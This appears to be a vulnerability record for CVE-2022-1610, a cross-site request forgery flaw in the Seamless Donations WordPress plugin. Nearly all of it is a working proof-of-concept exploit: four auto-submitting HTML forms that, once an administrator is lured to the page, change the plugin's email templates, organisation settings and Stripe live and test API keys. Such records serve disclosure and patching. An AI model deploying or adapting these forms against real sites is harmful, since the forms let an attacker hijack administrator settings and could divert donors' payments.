CVE: CVE-2022-1610

Name: Seamless Donations: A Platform for Global Fundraising and Rebuilding using Stripe and PayPal (seamless-donations)

Version: 5.1.7

Date: 2022-04-15 21:07:56

Advisory: https://wpscan.com/vulnerability/88014da6-6179-4527-8f67-fbb610804d93

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/admin-post.php" method="POST">
    <input type="text" name="action" value="seamless_donations_tab_templates">
    <input type="text" name="seamless_donations_template_email_test" value="evil@example.com">
    <input type="text" name="dgx_donate_button_settings_templates_test_email" value="Send Test Email">
</form>
<script>
    document.forms[0].submit();
</script>

<form action="https://example.com/wp-admin/admin-post.php" method="POST">
    <input type="text" name="action" value="seamless_donations_tab_templates">
    <input type="text" name="seamless_donations_template_email_test" value="">
    <input type="text" name="dgx_donate_email_name" value="testuserhacked">
    <input type="text" name="dgx_donate_email_reply" value="test@example.com">
    <input type="text" name="dgx_donate_email_subj" value="Thank you for your donation">
    <input type="text" name="dgx_donate_email_body" value="hacked">
    <textarea type="text" name="dgx_donate_email_recur">
Some link: https://google.com
    </textarea>
    <input type="text" name="dgx_donate_email_desig" value="Your donation has been designated to the [fund] fund.">
    <input type="text" name="dgx_donate_email_anon"
        value="You have requested that your donation be kept anonymous.  Your name will not be revealed to the public.">
    <input type="text" name="dgx_donate_email_list"
        value="Thank you for joining our mailing list.  We will send you updates from time-to-time.  If at any time you would like to stop receiving emails, please send us an email to be removed from the mailing list.">
    <input type="text" name="dgx_donate_email_empl"
        value="You have specified that your employer matches some or all of your donation.">
    <input type="text" name="dgx_donate_email_trib"
        value="You have asked to make this donation in honor of or memory of someone else.  Thank you!  We will notify the honoree within the next 5-10 business days.">
    <input type="text" name="dgx_donate_email_close" value="Thanks again for your support!">
    <input type="text" name="dgx_donate_email_sig" value="Director of Donor Relations">
    <input type="text" name="dgx_donate_button_template_settings" value="Save Changes">
</form>
<script>
    document.forms[0].submit();
</script>


<form action="https://example.com/wp-admin/admin-post.php" method="POST">
    <input type="text" name="action" value="seamless_donations_tab_settings">
    <input type="text" name="dgx_donate_organization_name" value="uuuu">
    <input type="text" name="dgx_donate_notify_emails" value="test@example.com">
    <input type="text" name="dgx_donate_payment_processor_choice" value="STRIPE">
    <input type="text" name="dgx_donate_donor_fee_payment" value="NEVER">
    <input type="text" name="dgx_donate_button_settings_basics" value="Save Basic Settings">
    <input type="text" name="dgx_donate_stripe_server" value="SANDBOX">
    <input type="text" name="dgx_donate_live_stripe_api_key" value="">
    <input type="text" name="dgx_donate_live_stripe_secret_key" value="">
    <input type="text" name="dgx_donate_test_stripe_api_key" value="">
    <input type="text" name="dgx_donate_test_stripe_secret_key" value="">
    <input type="text" name="dgx_donate_stripe_billing_address" value="auto">
    <input type="text" name="dgx_donate_debug_mode" value="OFF">
    <input type="text" name="dgx_donate_log_obscure_name" value="on">
</form>
<script>
    document.forms[0].submit();
</script>


<form action="https://example.com/wp-admin/admin-post.php" method="POST">
    <input type="text" name="action" value="seamless_donations_tab_settings">
    <input type="text" name="dgx_donate_organization_name" value="uuuu">
    <input type="text" name="dgx_donate_notify_emails" value="test@example.com">
    <input type="text" name="dgx_donate_payment_processor_choice" value="STRIPE">
    <input type="text" name="dgx_donate_donor_fee_payment" value="NEVER">
    <input type="text" name="dgx_donate_button_stripe_settings" value="Update Stripe API Key">
    <input type="text" name="dgx_donate_stripe_server" value="SANDBOX">
    <input type="text" name="dgx_donate_live_stripe_api_key" value="pk_live_www">
    <input type="text" name="dgx_donate_live_stripe_secret_key" value="sk_live_www">
    <input type="text" name="dgx_donate_test_stripe_api_key" value="pk_test_www">
    <input type="text" name="dgx_donate_test_stripe_secret_key" value="sk_test_www">
    <input type="text" name="dgx_donate_stripe_billing_address" value="auto">
    <input type="text" name="dgx_donate_debug_mode" value="OFF">
    <input type="text" name="dgx_donate_log_obscure_name" value="on">
</form>
<script>
    document.forms[0].submit();
</script>